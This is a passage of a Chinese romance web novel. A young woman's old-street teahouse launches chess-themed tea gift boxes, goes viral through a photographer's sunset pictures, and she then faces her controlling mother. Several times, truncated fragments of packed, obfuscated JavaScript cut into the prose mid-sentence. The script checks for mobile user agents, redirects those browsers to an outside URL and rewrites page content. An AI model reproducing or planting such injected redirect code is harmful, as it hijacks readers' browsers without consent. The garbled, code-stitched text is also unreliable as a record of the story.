“王大爷,您的衣服很上镜啊!” —————— 晚上,余念念终于有空出现在颜喜书画斋。 白老亲自给她点了支沉静舒缓的香,乐呵呵地坐在她对面,问:“怎么样,白砚帮上忙了么?” 余念念还没说话,白砚不满道:“爷爷,您不问茶馆开得咋样,问这个干嘛?” “嗨,茶馆开得咋样我自己天天路过还能看不到?那一桌桌坐得满满当当的,你有没有起到应有的作用才是我应该关心的!” 余念念有点不好意思:“白爷爷您说的哪的话,白砚帮我也不是理所当然的,他已经帮了我很多了,我都记在心里。” 白砚:“你记得就好。” 余念念:“......” 白老冲白砚扬了扬拐杖,他退开几步,又接了句:“欠我的,是要还的。” 要不是他顶着张清冷天仙的脸,余念念简直以为他在跟自己调情。 “......你想要我怎么还?” 余念念盯着他,看他能不能说出句“以身相许”,然而白砚只是沉默了片刻,淡淡道:“我还没想好,先记着吧。” 余念念摊在沙发上,有气无力:“好好好,我茶馆回本遥遥无期,现在又欠了一屁股人情债,我慢慢还。” 白老温声道:“生意这么好,怎么会遥遥无期?” 余念念变魔术似的从口袋里掏出个计算器,在上面进行了一通显然已经很熟练的操作:“生意现在虽然还行,但客户都是老街客户,客源单一,商品更单一,翻桌率低,客均利润也低,按目前的情况算下来,我大概还需要至少三年才能回本。” 她抬起头,看向白砚,眼神真挚:“你要我怎么还尽快想想,说不定哪天我就干不下去偷偷跑路了。” 白砚低头想了想,认真道:“寒亭夕照。” “嗯?” “现在商品单一,只能在店里喝,但有些客人已经认可了寒亭夕照的口味,那么,就可以推出寒亭夕照礼盒装,客人可以买回家,也可以送人。马上过年了,有这种需求的客户说不定不少。” 他顿了顿,淡淡加了句:“我可以帮你设计包装,第一次免费。” 余念念盯着他看了一会儿,笑起来:“白砚,你是不是真的怕我跑路啦?” 白砚被她笑得有些不自然,走到香炉旁,拨了拨不需要拨的香灰,背对着她道:“我怕你跑路了,我们店铺没人租了。” 余念念正经起来:“关于这一点,咱俩想到一起去了,我也是想趁着过年前推出寒亭夕照茶叶礼盒,最好还能加上一些象棋元素,今天来,也是想来找你谈谈怎么在包装上融合一下这几种元素。本来,我还不知道怎么开口,既然你提了免费,那我就不跟你客气啦。” 白砚转回身:“这是不是兑现了爷爷答应你的摄影支持?” 白老摆摆手:“这不算!这顶多是创意支持。” “......爷爷,我是您孙子,她是外人,您怎么向着外人。” “外人”余念念显然知道这个屋子里谁说话才有用,殷勤地凑过去给白老捶肩膀,边捶边问白砚:“那今天,方便谈创意么?” “......方便......” ...... 一个小时后,聊得差不多,余念念回到茶馆,一进门,小优凑了过来,低声道:“老板,刚才有个奇奇怪怪的男人来店里。” 余念念皱眉,又来? 16. 震荡 电脑前,余念念和小优凑在一起,盯着屏幕上的监控画面。 某个瞬间,一个男人的身影跨进茶馆,小优低呼:“就是他!” 余念念看了眼监控上显示的时间,晚上九点十七分,她正在从颜喜书画斋回茶馆的路上,茶馆里这个时间已经没几个客人,小优站在前台收拾着桌面,男人走进来后却不去前台点单,而是直接走到大堂中间,环视了一圈。 监控里,小优见男人进来,起身走到他身边,说了句什么,又指了指临近的一张空桌。 “我告诉他茶馆快打烊了,估计只能稍稍坐一会儿。”小优解释道。 但屏幕里的男人没有回应,仍是自顾自地在茶馆中间游荡,绕着中间几张桌子走了几圈,观察了墙上挂着的几幅画之后,就走出了茶馆大门。 “他很没礼貌,跟他说话一点儿反应都没有。”小优翻了个白眼。 余念念又回看了一遍监控,在某个时间点敲下暂停键,男人的整个身体和脸正对着屏幕。 这是个年纪不大的男人,估计三十多岁,身穿最普通的黑色羽绒服和蓝色牛仔裤,长相发型都毫无特色,身材中等,放进人堆里,回头率可能为零。 “这个角度看,他肯定看到监控了,对吧?”余念念说。 “啊,对,正对着呢,没瞎的话肯定能看到。” “但是你看,他完全没有顾忌监控,走路的姿势很放松。” “......那说明什么?” 余念念瞥了小优一眼:“你平常肯定不看刑侦剧,这说明,他不怕监控呀。” 小优缩了缩脖子:“姐,我才打一天工,怎么就至于刑侦剧了......我有点害怕......” 余念念安抚地拍了拍她的肩膀:“别怕!据我推测,他可能是来做竞品调研的。肯定不是老街上的店铺,老街的人我都认全了。可能是这附近其他某条街上的某个店铺老板,最近我们刚开张,阵仗大,人流量也大,他可能出于好奇或者危机意识,过来打探一下敌情。你看,他完全不避开监控,应该是没打算干什么坏事。” 小优:“有道理。老板,你懂得真多。” “不会做心理分析的前广告策划师不能成为一个好的茶馆老板。”余念念张口就来,说完,还是严肃认真地交代:“虽然推断他不会有什么危险,但暗箭难防,下次再看到他,还是要第一时间通知我。” 见小优点头后,余念念眼神又落到屏幕上的男人身上,好家伙,才开张三天而已,就要半只脚踏入商战的战场了么? 以前在广告公司上班时,她只是成百上千员工中的一名,还是最普通最基层的一名,公司的荣誉落不到她的头上,但危险和责任同样不会砸到她头上,她上面,有层层管理层在顶着公司的各种经营风险和竞争压力。 但现在,她是茶馆老板,虽然现在只有一名员工,但她已经投入了无数精力和所有家当。 余念念,你不能退,也不能怕——她对自己说。 —————— 一周后的某个早晨,早起的老街街坊眼尖地看到茶馆的玻璃窗后多了一层展示柜,一排小巧精致的小铁盒摆在了柜面上,盒身正面映着一副与店内挂着的一模一样等比例缩小的画,背面则各有不同,有的印着一整副象棋棋盘,有的印了楚河汉界,有的则是一枚小小的“兵”...... 寒亭夕照礼盒装上线了。 象棋大爷照例边闲聊边进了茶馆,坐下后,发现每张桌上也摆了两个小小的茶叶盒。 王大爷拿起一只,一眼看到背后画着的卡通小人:“欸?这小人,不是我么?” 茶叶盒的正面仍是寒亭夕照,背面画了一副卡通图——大大的象棋棋盘上,一个卡通小人立于棋盘中央,楚河汉界在他脚下,他仿佛是棋盘主宰,他一手撑着一枚大大的立起的“将”,另一手插兜,浑身散发霸气不羁的气息,头顶上两个卡通大字:棋王。 “哪里看出是你了?”对面的魏大爷不认同,“我觉得比较像我!” 其他桌的几位大爷显然不服,也加入争论,就算他们输的多赢的少,但也不能直接默认失去对棋王——现在是对这个卡通小人——的觊觎权。 余念念眼看差不多了,走入战局中央,抬手示意稍安勿躁。 大爷们安静下来,经过这段时间的相处,他们对余念念已经完全买账了。茶馆里环境舒适价格合理,再也不用在河边吹冷风喝凉水,最重要的是,居然有专属于他们的聚光灯——此前大多处于家庭边缘人地位的大爷们哪抗拒得了这个。 余念念清了清嗓子,笑容甜美:“大爷们,马上过年了,我们茶馆给各位准备了这份小小的礼物,这个棋王小人不专属于在座的任何一位大爷,而是表达我们的祝福,预祝各位明年棋艺更上一层楼,天天荣登棋王榜首!” “好!小余讲得真好!”“这包装真是用心了啊!”“这盒子我得留着!” 余念念:“今天呢,也是我们寒亭夕照礼盒茶叶上线的日子,除了桌上摆着的是送各位大爷的以外,我们还可以根据各位的需要定制专属包装的茶叶礼盒,自己喝,送人喝,都可以!” 不少大爷应和:“确实是个好主意,每年想送什么礼想得头大,今年就送这个了!”“好啊!我要定制我专属的象棋小人,以后我们家只喝这个茶叶!” ...... 到了下午,余念念赶出来试水的第一批寒亭夕照礼盒已经售卖一空。 她没想到礼盒会这么受欢迎,但做生意么,哪有“早知道”这种好事。她拎了提前留下来的两盒茶叶,踏进了颜喜书画斋,将茶叶双手放到了白老面前,冲着白老的那面礼盒上,写了圆润讨喜的两个字——颜喜。 “白爷爷,给您留的寒亭夕照,它现在可受欢迎啦!” 白老笑呵呵地接过来,递给身后的白砚,交代:“以后我们书画斋的茶叶,都换成小余的寒亭夕照。” 余念念兴奋地坐到沙发上,从口袋里掏出计算器,一通操作后,叹了口气:“按照寒亭夕照礼盒的利润,和老街客流量的估算,我的茶馆还要一年半才能回本。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982234|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白老略带欣喜的扬眉:“上个礼拜还要三年呢,现在就只用一年半啦?” 余念念双手抱臂,用计算器一下一下碰着下巴:“一年半还是太久了,以我的积蓄,很可能活不到那时候。老街上的客户一时半会儿不会再有大突破了,我得尽快拓展老街外的客群了。” 白老:“你有什么想法?” 余念念沉吟片刻,眼睛一亮:“我需要白砚,快,跟我走!” —————— 傍晚时分,茶馆三楼天台,太阳还没完全落下来。 白砚一边调整着角度,一边面无表情道:“明明是需要免费摄影劳动力,说什么需要我,回头你跟爷爷解释。” 余念念有些心虚,从颜喜书画斋出来的时候,白老一脸欣慰地把他们送到门口,脸上挂着掩盖不住的笑意,显然是又误会什么了。 “我当时一门心思要赶日落,没想那么多......” “上次,爷爷说,你们都已经这么了解和体谅对方啦?这次回去,他又要说,你们都已经这么需要对方啦?”白砚的嘴在相机后面念叨,随着角色变化还调整了声线。 余念念“噗”地笑出了声:“你怎么嘴越来越碎了,你还是我最开始认识的天仙么?” 白砚嘴角微微勾起,从相机后面冒出半颗脑袋:“不得不说,你也不是我最开始认识的酒鬼了。” “哦?我变了么?”余念念看着他的眼睛问。 白砚没说话,被染上一层金色的眼睛与她对视着。 余念念习惯盯着别人的眼睛说话,他不挪开,她就一直盯着,盯到他睫毛微微一颤,低垂下去,又隐到相机后面,低低的声音传过来:“挪开点,日落了。” 余念念面无表情地走开,转了半圈,走到白砚身后,看着落日的余晖撒上整条老街,也包裹住眼前这个人的轮廓。 如白砚所说,日落是一天最温柔的时刻。 一切都很温柔,除了余念念的胸口,那里残存着巨大的震荡余韵,震荡发生在刚刚白砚睫毛颤抖的那一秒。 这是......怎么了?! 恋爱小白余念念疑似确诊心悸心过速心脏不受控症——如果有这个症的话。 “过来一下,站在那里,看向老街。”白砚指了个地方。 余念念现在就是根木头,白砚说什么她做什么,乖乖听从指令,走过去站好。 日落结束,拍照结束,两人沉默着一前一后从天台走下来。 走到店门口,白砚停住,转回身,问:“今天,满足你的需要了么?” 余念念瞳孔瞬间放大,刚才天台上对视的勇气此时毫无踪影,眼神飘开,疯狂点头。 白砚离开后,小优见余念念杵在门口一动不动,凑到她面前:“老板,你怎么了?” 余念念:“......我,我要搞事业!” 小优:“嗯?什么东西?” “来!跟我大声念:我要搞事业!我要搞事业!我要搞事业!” 我要专心搞事业!别来乱我道心啊喂! 17. 出圈 第二天一早,一个叫【优中之优】的ID在崇安大学线上论坛人气最旺的【吃喝玩乐】板块发布了一道帖子。 标题:【别来!这里只能喝茶,看日落,还有一堆无聊的下棋老大爷!】 帖子里没有文案,只有一长串的照片。 前面几张是日落街景,中间几张是冒着热气的茶具特写,最后几张是几颗围着象棋棋盘的大爷脑袋。 下面很快盖起几层评论。 【这是哪里?好美!我大幻都竟有能看到这种绝美日落的地方!】 【帖主是懂起标题的,确实有点好奇了,这真的是崇安么?】 【茶具看上去很讲究呢,是个茶馆么?老板品味应该不差~】 【这群大爷怎么看着像在吵架?】 【楼上的,别怀疑就是在吵架,我们小区也有这种下棋大爷,我经常围观他们吵架~】 【好有意思啊,后面还有大屏幕直播他们下棋诶,棋王?笑死!】 ...... 余念念和小优缓缓从手机前抬起脑袋,对视了一眼。 小优:“热度不错。” 余念念点点头:“保持观察。” —————— 到了中午,两人又凑到一起看帖子。 帖子被顶到了最上面,前面挂着红色的【HOT】,点进去,讨论的重点从某一层开始逐渐走偏。 【这几张日落的照片很像白塔大大的风格欸~】 【本人摄影爱好者+白塔粉丝,楼上的,我也这么觉得!】 【+1,这个风格一看就是他,建筑占主角,其他都是配角,我猜他拍的是老街,只是恰好是日落时的老街!】 【哇哦楼上的,你这个解读好厉害,我更好奇了~】 【呼叫帖主!呼叫帖主!请问这是白塔大大的作品么?我可以转载到摄影论坛里么?】 ...... 下面跟了一堆关于白塔大大的讨论。 余念念和小优面面相觑。 余念念:“白塔是白砚的艺名么?” 小优:“可能是吧,我不是摄影爱好者,小白哥很牛么?居然有自己的摄影论坛?” 余念念:“我知道他挺牛的,但是不知道他这么牛,他的粉丝居然可以凭借照片就认出是他拍的?” 小优:“这种级别的摄影师,收费很贵吧?” 余念念:“......免费的。” 小优想起前一天傍晚,脸上浮现出一丝笑意:“我懂了,你们......” 余念念:“闭嘴!快,回他们。” 小优:“咋回?” 余念念摸着下巴想了想:“避重就轻,先同意转载。” 【ID优中之优】回复帖子:【照片是我朋友发我的,已征求她同意,随意转载,告知下转载平台即可~】 回帖里很快出现了白塔摄影论坛的地址,余念念用自己手机进入论坛,注册了一个新ID【颜喜迷妹】,登了进去。 很快,崇安大学论坛的照片被转到白塔摄影论坛,引发一轮热议,只是,他们讨论的焦点有点出乎余念念意料。 【是不是多转了一张?】 【是啊,那张背影怎么回事?】 【肯定是新用户,不然怎么会犯这种低级错误。】 将照片转载到论坛的帖主回复:【啊,确实比较新,疏忽了疏忽了~】 余念念一头雾水,背影怎么啦? 等了半天,没人说明原因,似乎这个论坛里的人默认背影那张照片是被不小心夹杂进来的。 于是,【ID颜喜迷妹】回帖:【纯新人求教,为什么大家都说背影那张是多出来的?】 很快有人回复: 【因为白塔大大从来不拍人物,只拍建筑和风景。】 【老粉在此,从他还没拿奖时就关注了,他的照片里从来没有出现过人物。】 【哈哈,欢迎新人小迷妹,慢慢你就知道啦~】 ...... 从来,不拍,人物? 余念念仔细回想了一下,在昨天傍晚之前,她确实从来没见白砚拍过建筑和风景以外的照片,东安乡的寒亭夕照,洪家村的银杏树和农田,西流镇文旅展的古建筑,都是只见风景,不见人物。 那昨天傍晚,跟她说“过来一下,站在那里”的白砚,是鬼上身啦? 她盯着那张照片,自己的背影恰好就在整张照片的中间,不是边边角角,没有虚化模糊,是一眼可见的C位。 帖子下面,开始有人发出不同观点。 【但是,人都是会变的,有没有可能,白塔大大他......】 【不可能!楼上的,我知道你要说什么,但是不可能!】 【+10000000!拒绝接受这种可能!】 【如果真有这种可能,我倒很好奇这位背影的主人正面长什么样了,能获得白塔大大的青睐!】 捧着手机的余念念默默打了个冷颤,怎么哪里都有疯狂粉丝...... 她赶紧喊回小优,让她在崇安大学的论坛里声明背影那张是错塞进去的,跟白塔无关,很快,白塔论坛里转载的用户也将那张照片删掉,关于背影的争论才慢慢停止下来。 她长长呼出一口气,将手机放到一边,起身去招待客人。 —————— 下午三点。 茶馆里只有几桌大爷在安安静静下着棋,小优找了个角落追剧,余念念坐在前台桌子后面昏昏欲睡。 一群年轻人叽叽喳喳地进了门,迈进来的同时,其中一个兴奋地低喊:“真的有下棋大爷!”另一个小声接道:“他们怎么这么安静!” 余念念连忙站起身,嘴里喊了句:“欢迎光临老街茶馆!” 年轻人站在柜台前,又是一阵小声议论:“没有菜单欸!”“真的只能喝茶!”“我还从来没来过这种茶馆呢!” 半晌,其中一个清了清嗓子:“老板,我们一人一杯茶!” 余念念打量他们一圈,给出建议:“我们的茶杯很小,一人一杯不划算,你们总共六个人,三个人一壶,总共点两壶就可以啦。” 几人互相看了眼,纷纷点头。 余念念于是冲小优喊:“小优,带客人入座!” 一个年轻人急忙摆摆手,又伸出一只手指指了指天花板:“老板,我们要去天台喝!” 余念念和小优愣住,嗯?去天台喝茶? 下午四点,同样的情况第五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982235|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次出现后,余念念忍不住了,抓住其中一个年轻男生问:“你们怎么找过来的?” 男孩一脸“这还用问”的表情:“老板,你们的店上热搜啦。” “热搜?你说崇安大学的帖子么?你们是崇安大学的学生?” “不是,是wb热搜,你们火出圈啦!”男生说着,跟着自己的同伴往楼上走,留下余念念和小优原地震惊。 下一秒,两人迅速掏出手机,打开wb,果然,在热搜前三的位置找到一条:【幻都居然藏着绝美日落,这家老街茶馆也太低调了吧!】 点进去,白砚拍的几张照片已经被疯传,排在前面的几条点赞数量已经高达七位数。 小优缓缓抬起头,看着余念念:“老板,这泼天的富贵,咱能接住么?” 余念念也抬头,望向天花板,似乎想穿过两层钢筋混凝土直达三楼天台,脸上的笑意里带着几丝抽搐:“来得太快,势必要硬着陆了。” 与此同时,三楼天台。 原生态的水泥地面上散落着从来没打扫过的碎石块碎沙土之类,几十个年轻人分散开来,各自找了个看得过去的地方,席地而坐,人手碰着一杯小巧精致的陶瓷茶杯,围坐着的中间地面上放着个茶壶。 “硌屁股!” “这也太原生态了吧!” “刚刚看老板反应,显然是火得太突然,什么都没准备,我们也是强人所难了。” “我一手拿壶一手拿三个杯子上楼的时候,她一直跟在后面交代我小心点很贵的,笑死了!” “哇!快看!日落了,好美!” “这条街好特别!是老街么?” “这个角度就是白塔大大照片同款视角吧!” ...... 夜幕降临后,年轻人陆续从三楼走下来,有的饶有兴味地围观起了下棋,有的找个桌子坐了下,有的径直走了。 一个挎了相机的短发女孩眼神一直停在余念念脸上,看了一阵子,终于凑过来,问:“老板,你认识白塔大大么?” 余念念脸上露出茫然的表情:“不认识,是谁啊?” 女孩有点怀疑地又观察了她片刻,拿出手机,指着屏幕上的背影问:“这个是不是你?” 照片里的背影留着一头黑色长发,余念念庆幸自己昨晚没洗头,今早梳了个大光明包子头,她面不改色,眼神真诚:“真的不是。” 接着,又解释:“我们茶馆客人太多了,有的客人就爱到处乱晃悠拍着拍那,怎么可能都记得住。” 女孩哦了一声,默默收起手机,小优在旁边默默给余念念竖了个大拇指。 余念念想到什么,冲女孩问道:“是谁第一个发现照片里的拍摄地是这里呢?” 女孩:“就是白塔大大呀,他在论坛里说的。” 女孩旁边的同伴接道:“白塔很少在论坛说话的,这次居然主动认领外加指路,所以才这么快就火出圈的呀!” 将短发女孩和她同伴送出去后,余念念掏出手机,登上白塔摄影论坛,看到一条头顶红色【爆】字的回帖。 发帖的ID就是【白塔】,时间是早上照片被转载到论坛后不久,内容很简单:【是我拍的,南坪街入口,老街茶馆三楼天台,视角不错。】 18. 怨念 早上最忙碌的时间过去后,余念念坐在柜台后,一手撑下巴,一手拿笔在摊开的小本子上涂涂画画。 一开始是在盘点茶馆最近的一些账务啊开支啊之类的,不知从第几个字开始,思路带着内容一起开始走偏。 【过来一下,站在那里。】 她边写着,边回忆白砚说这句话的表情,发现一片模糊,说这话时,白砚的脸正半隐在相机后面,声音清清淡淡,像是很大稀松平常的样子。 但他明明是不拍人物的啊!论坛里那些多年老粉信誓旦旦,似乎这是条铁律一样。 那这背影照到底是为什么?忘了?不可能吧! 【是我拍的,南坪街入口,老街茶馆三楼天台,视角不错。】 她又写下一句,这句话看上去也没什么特别的,如果由别人发出来,甚至有点冷淡的感觉。 但这是白砚主动发的。余念念后来在白塔论坛扒拉了一个多小时,一直扒拉到论坛建立之初的帖子,发现白砚果然如他们所说,极少冒头,平均一年一次的回帖频率,还都是极为官方的问候。 但昨天,日落的帖子发出后不到半小时,白砚就主动认领了。她不知道白砚是不是一直在刷新帖子内容,如果是的话,他肯定看到【颜喜迷妹】这个新ID,也看到了关于背影照的讨论,但他却忽略那段争论,直接指路了老街茶馆。 事出反常必有妖。 余念念思前想后盘来盘去,只有一个解释:白砚是真的很认真地在帮自己的茶馆活下去。 前几天,她在颜喜书画斋开玩笑说自己可能会偷偷跑路时,白砚就很认真地给出一些经营建议。 帮她拍天台日落和背影,应该是为了让她更好地利用素材打广告。 这不,在照片有热度之后,他就主动在论坛里配合,帮她引流客户。 串起来了,白砚为了自家店铺能够顺顺利利租出去,真是用心良苦啊。 余念念喝了口茶,看着小本本上的字,觉得自己以后要对白砚好一点,毕竟,他们两人的目标是一致的。 突然,她意识到什么,浑身一颤,双手捂住嘴,瞪着本子倒抽一口气。 她在干什么?! 她居然背下了白砚说过的话,一字不差地写了下来,并且逐句剖析研究? 她高考前做语文阅读理解都没这么认真过! “写什么呢这么入神?”一道清冽的男人声音在头顶前方响起,惊得余念念浑身一个激灵。 她手忙脚乱地边把本子合上,边大声道:“你!你怎么进来没声音!” “......”柜台前,白砚回头张望了一圈,茶馆里坐满了人,还有人在到处走动,喧闹嘈杂,“你这儿本来也不安静啊......” 余念念捂紧了小本本,瞪了他一眼,问:“你来干嘛?” 白砚顿了一两秒,回道:“爷爷让我来看看有什么需要帮忙的。” 听到这话,余念念声音柔软下来:“白爷爷费心了,还有......谢谢你在论坛里帮我宣传。” 白砚垂下眼睛:“没什么,顺手的事。” 果然,余念念心想,趁着日落拍个背影照,在论坛里说两句指路的话,对白砚来说都是顺手的事,虽然跟他平时的行事风格大相径庭,但为了他自家店铺好,也就不难理解了。 见他低着头,像是挺忧虑的样子,余念念忍不住安慰道:“放心吧,别焦虑。” 白砚:“嗯?” 余念念:“我们一起努力,会好起来的。” 白砚微微皱眉,打量她片刻,缓缓问:“你是不是,误会什么了?” 余念念正要再说什么,门口传来声招呼:“又有快递到啦!” 她应了一声,跑出去,拖了只足有一人高的大纸箱子进来。白砚走过去帮她抬起来,她也不客气,扬扬脑袋:“抬到三楼!” —————— 三楼天台已经被余念念连夜打扫干净,碎石瓦砾没了,眼下是一片平整的水泥地面。沿着其中一侧的墙角,十几个快递盒子依次排列着。 余念念数了数,叉腰道:“终于到齐了,开干!” 她捡起地上的一只工具包,掏出美工刀,开始拆第一只盒子,很快里面露出半只椅子腿。她边拆着,边跟白砚解释:“今天下午估计还会有不少年轻人来三楼蹲点日落,其他的我今天还来不及弄,先摆上桌子椅子,至少让他们不用坐在地上喝茶。” 白砚已经非常自觉地在帮她拼装,接道:“我在论坛上看到有人说挺喜欢这种原生态的氛围。” “他们是喜欢了,我昨天可是碎了三只茶杯!”余念念心痛道,“而且,为了年轻客群的长远开发,我也需要好好规划一下三楼的布局。先摆上桌子椅子,可以坐着喝茶聊天等日落,过几天再摆上几台自动售卖机卖卖零食,接下来再做做调研看他们还想要什么,我再做针对性的投入。” 白砚默默装着一只桌子腿,余念念观察了一下他的脸色,说道:“所以你看,我真的有在努力经营茶馆,对吧?” 白砚抬头看她,像是不理解她为什么突然冒出来这么一句没头没尾的话。 “我昨天晚上算过了,年轻客群的可经营空间非常大,如果经营得好,我很有希望在半年内实现盈利,你就别焦虑你们家店铺租不出去了。” 白砚:“......你刚刚说一堆奇奇怪怪的话是因为这个?你觉得我是因为怕店铺租不出去做这些事?” 余念念:“我哪有说什么奇奇怪怪的话?我是理性分析有理有据!你难道不是因为这个?” 白砚的表情像是被气到心梗,他缓了半分钟,才站起来,走到余念念面前,蹲下来,盯着她的眼睛,问:“余念念,你大脑某些部位是不是没发育完全?” 余念念:“......” 白砚是不是在骂人?天仙居然不毒舌,改成面不改色地人身攻击了?! 余念念一时之间完全摸不准他的心理状态和行为动机,呆楞了半天,问:“你说清楚,什么部位?!” 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哪位客人要找老板?”她边扬声问着,边走进大堂——气势不能输。 下一秒,她看到柜台前立着的身影,声音一下子缩小如蚊蝇,脚步瞬间僵硬像被人点了穴,甚至往后退了两步,撞到了身后跟着的白砚。 柜台前的中年女人梳着一丝不苟的发髻,挽着一只黑色小皮包,穿着一身冷色调黑白灰,听到声音,扭过头来,锐利的眼神直直落在余念念身上,将她从头到脚来回检视了几遍,边看边皱起眉头,脸色写满了嫌弃。 小优形容得极对,气势像慈禧太后。 跟她一比,余念念输得毫无悬念。 余念念咽了口口水,一步一顿地走过去,期期艾艾喊了声:“妈。” 女人没应,从鼻子里冷冷地哼了一声。 “妈……您怎么来了……” “哼,我不来,等着被你和你爸合着伙瞒到过年么?” 19. 对峙 “我早说过,你在崇安待不长久,失业了为什么不回家?” “我十几年不放松对你的教育,幸幸苦苦让你上大学,难道是为了让你开什么茶馆的?” “我来之前跟你爸说好了,趁现在还年轻,你赶紧回家,我们托关系帮你找个体面工作,在家里安安稳稳地过日子,别再做些什么不切实际的梦了!” 三句话劈头盖脸砸过来,余念念一时之间无从开口,她觉得茶馆大堂的空气突然之间有些稀薄,深呼吸几口,走近她妈妈,低声道:“妈,这里有客人,我们去楼上说吧。” 余母像是没听到,一动不动地站在原地,锋利如刀的眼神直直望着她,嘴角紧抿成一条向下弯曲的弧线。 余念念一下子懂了,她是来发布指令的,不是来跟她商量的。 就像她在桐贤市那个家里一样,她做出决定,家里其他人遵照执行。她决定余爸第二天穿什么衣服出差,余爸就穿什么衣服出差。她决定假期去哪里旅游,他们家就去哪里旅游。她决定余念念用什么品牌的护肤品,余念念就用什么品牌的护肤品。 余念念一下子觉得有些荒诞,对于她妈像决定她应该用什么品牌的护肤品一样,试图决定她要立刻从崇安回到桐贤,感到荒诞。 她深吸一口气,决定还是先一句一句地好好回答:“妈,我不是失业了,是自己辞职了,我原来的工作干得很不开心,我的工作成果没有得到公正的对待。至于开茶馆,我觉得您可能有些偏见,这件事并不简单,我用了我学到的所有东西,最近才稍有起色,我干得很开心,这里的人我也很喜欢,我——” “你别跟我说这些!”余母的表情越来越不耐烦,终于出声打断,“我就问你,你什么时候跟我回桐贤?” 余念念感到一阵无法交流的窒息,她短促笑了一声:“我不跟您说这些,那我说什么?这是我自己的选择啊,难道我没有选择我要过什么样生活的权利?” 余母脸上出现了一瞬间的震惊,很快转为愤怒,声音大了起来,指着余念念厉声道:“你的选择?你看看你现在的样子!蓬头垢面,一身的污渍,简直像是街边工地上的农民工!”她转头指向旁边站着的小优:“你的员工都比你干净整洁,你一个做老板的干体力活她一个员工凭什么在下面坐着?!” 小优一下子局促起来,往余念念身后缩,余念念忍无可忍,低吼:“您能不能不要在我的茶馆里无理取闹!” 这句话彻底激怒了余母,她环视了一圈茶馆,眼神掠过已被她的声音惊扰到,抬头看过来的客人,发出声嘲讽的冷笑:“你的茶馆在我看来就是场闹剧,上不了台面的草台班子——” “妈!!!” 余念念用尽所有力气,发出声吼叫,接着,便像一尾离了水面的鱼,张大嘴巴挣扎着呼吸,说不出一个字。 茶馆里完全安静下来,下棋的大爷,吃完早餐坐着闲聊的街坊,全都停了下来,齐齐转头看着她们。余母被刚刚那声怒吼暂时震住了,但仍铁青着脸,与她的女儿对峙着。 白砚走上前,轻轻地、安抚地在余念念背上拍了拍,扶住她的肩膀,将她带到柜台后的椅子上坐下,抬头对余母沉声道:“阿姨,今天就先这样吧,等您和余念念冷静下来再聊。” 余母仍站着不动,眼里闪着不甘心的厉色——在此前的几十年里,她在余家从没受到过如今天这样直言不讳的反抗。 余念念已经失去所有力气,将头伏在胳膊里,一动不动地趴在桌面上。 哗地一声,大堂里一把椅子被推开,魏大爷慢慢站起来,走上前,走到余母面前,从手里掏出一张皱皱巴巴的卡片,递给余母,余母不明所以接了过去。 “小余妈妈,我是魏大志,是老街上一个孤零零的老头子。”魏大爷笑着说。 “在小余开这间茶馆之前,我天天跟那帮老家伙在河边下棋。那帮老家伙啊,都有家有口的,像老王,他老是被他家桂云骂,边管他边骂他,骂完还得回家。他们老说羡慕我,自由自在的没人管,但他们不知道,我也羡慕他们挨骂啊,我家就我一个人,孤零零地,有什么意思。”魏大爷说着,声音里带了丝颤抖。 “但是,自从小余开了茶馆,我觉得我有家了,我不用羡慕别人有人送热水,不用担心一个人在家里摔了没人管,不用担心孤零零死在家里没人知道,我就愿意从早到晚在这茶馆里坐着。我老了,没有别的爱好,就爱下个棋喝个茶聊个天。你说这茶馆开得算不算体面?我觉得,对我这个老头子来说,是给了我体面日子,给了我开心日子,我打心眼里感谢她。” 余母绷紧的脸色柔和下来,眼底微微泛红,将手里的卡片展开抚平,里面,是余念念手写的茶馆开张当日象棋比赛的邀请函。她抬头,魏大爷笑着看着她,指指卡片,道:“从收到那天起,我就随身带着。” 余母低下头掩盖住脸上神色,将手中卡片还到魏大爷手上,转身快速出了茶馆大门。 茶馆柜台后,余念念的肩膀一阵一阵的耸动着,闷闷的抽泣声停不下来。 魏大爷绕到柜台后,伸手敲了敲余念念的脑袋,笑道:“小余啊,当老板的人了,还被自己的妈骂哭啦。” 大堂里,见余母走了,所有人都凑到柜台前,调笑着余念念:“就是啊,余老板丢脸喽!”“哈哈,只知道小余老板心眼多,没想到还怕妈妈哟!”“没事没事小余,我看啊,你妈妈是只纸老虎,外面看着凶,心里还没你主意大呢!”...... 余念念缓缓举起脑袋,脸上妆哭花了,一道一道的泪痕,头发横七竖八,是实实在在的蓬头垢面了。她望着魏大爷,呜咽道:“魏大爷,我的茶馆真的这么重要么?” 魏大爷一脸认真地点点头:“当然重要!” 其他人也一齐回道:“当然!” 余念念破涕为笑,花着一张脸大声道:“我一定会把茶馆开下去的!今天所有人,我请客!免单!” —————— 下午,傍晚时分,余念念在天台来回踱步,思考良久,终于给她爸打了个电话。 “喂,念念。”余父的声音里带了丝愧疚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 